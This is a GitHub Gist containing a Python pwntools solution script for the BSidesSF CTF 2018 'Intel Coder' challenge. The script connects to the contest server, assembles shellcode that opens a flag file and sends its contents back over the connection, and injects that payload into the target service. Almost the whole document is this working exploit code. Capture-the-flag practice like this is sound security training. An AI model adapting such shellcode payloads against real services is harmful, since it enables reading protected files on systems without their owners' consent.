Created
April 26, 2018 04:06
-
-
Save vitapluvia/e21126cc434a5a5f942e7b39e599cc65 to your computer and use it in GitHub Desktop.
BSidesSF CTF 2018 - Intel Coder Solution
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from pwn import * | |
if args.LOCAL: | |
p = process(['./coder']) | |
else: | |
p = remote('intel-coder-d95049.challenges.bsidessf.net', 8086) | |
context(terminal=['tmux', 'split'], bits=64, arch='amd64') | |
gdb.attach(p, 'stepi') | |
# Finding Flag: | |
# pwndbg> x/s $rdx+0x9298 | |
# 0x7f8d9d216428: "./flag.txt" | |
getFlagAddr = 'add rdx, 0x9298; mov rax, rdx;' | |
o = pwnlib.shellcraft.open('rax', 0) | |
s = pwnlib.shellcraft.sendfile(1, 'rax', 0, 40) | |
payload = asm(getFlagAddr) + asm(o) + asm(s) | |
payload = '{}\n{}\n'.format(len(payload), payload) | |
p.sendline(payload) | |
p.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment